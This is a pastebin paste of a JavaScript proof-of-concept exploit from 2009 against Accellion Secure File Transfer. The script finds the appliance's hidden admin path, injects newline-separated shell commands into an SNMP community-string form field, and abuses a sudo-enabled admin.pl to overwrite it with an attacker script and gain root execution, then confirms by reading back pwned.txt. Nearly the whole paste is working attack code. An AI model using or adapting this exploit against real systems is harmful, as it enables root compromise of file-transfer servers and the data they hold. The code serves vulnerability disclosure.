JAVASCRIPT 4
Tmb-vs-accellion.js Guest on 21st November 2020 12:26:23 AM
  1. /*
  2. Redistribution and use in source and binary forms, with or without
  3. modification, are permitted provided that the following conditions are met:
  4.  
  5. * Redistributions of source code must retain the above copyright notice, this
  6. list of conditions and the following disclaimer.
  7. * Redistributions in binary form must reproduce the above copyright notice,
  8. this list of conditions and the following disclaimer in the documentation
  9. and/or other materials provided with the distribution.
  10. * Neither the name of the Nth Dimension nor the names of its contributors may
  11. be used to endorse or promote products derived from this software without
  12. specific prior written permission.
  13.  
  14. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
  15. AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  16. IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  17. ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
  18. LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
  19. CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
  20. SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
  21. INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
  22. CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
  23. ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
  24. POSSIBILITY OF SUCH DAMAGE.
  25.  
  26. (c) Tim Brown, 2009
  27. <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
  28.  
  29. PoC exploit for Accellion Secure File Transfer multiple vulnerability root compromise.
  30. */
  31.  
  32. accellion = {};
  33. accellion.hunt = function() {
  34.         secretURL = document.location.toString().split("?")[0];
  35.         secretPathArray = secretURL.split("/");
  36.         secretPath = "";
  37.         i = 0;
  38.         while ((i < secretPathArray.length) && (secretPathArray[i] != "report_activity.html")) {
  39.                 if (secretPath != "") {
  40.                         secretPath += "/";
  41.                 }
  42.                 secretPath += secretPathArray[i];
  43.                 i ++;
  44.         }
  45.         secretPath += "/";
  46.         return secretPath;
  47. }
  48. accellion.pwn = function(_secretpath, _shellcommand) {
  49.         var HTTPSession = new XMLHttpRequest();
  50.         HTTPSession.open("POST", _secretpath + "settings_snmp_comstr.html", null);
  51.         HTTPSession.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  52.         HTTPSession.setRequestHeader("Content-length", 18 + _shellcommand.length + 14);
  53.         HTTPSession.setRequestHeader("Connection", "close");
  54.         HTTPSession.send("comm_str1=test1%0a" + _shellcommand + "&submit=Submit");
  55. }
  56. accellion.check = function(_secretpath, _shellcommand) {
  57.         var HTTPSession = new XMLHttpRequest();
  58.         HTTPSession.open("GET", "/pwned.txt", null);
  59.         HTTPSession.send(null);
  60.         alert(HTTPSession.responseText);
  61. }
  62. secretPath = accellion.hunt();
  63. accellion.pwn(secretPath, "printf \"#!/bin/sh\n/usr/bin/id > /home/httpd/html/pwned.txt\r\n\" > /tmp/badadmin.pl");
  64. accellion.pwn(secretPath, "chmod 755 /tmp/badadmin.pl");
  65. accellion.pwn(secretPath, "sudo /usr/local/bin/admin.pl --file_move --source=/tmp/badadmin.pl --dest=/usr/local/bin/admin.pl");
  66. accellion.pwn(secretPath, "sudo /usr/local/bin/admin.pl");
  67. accellion.check();

Paste is for source code and general debugging text.

Login or Register to edit, delete and keep track of your pastes and more.

Raw Paste

Login or Register to edit or fork this paste. It's free.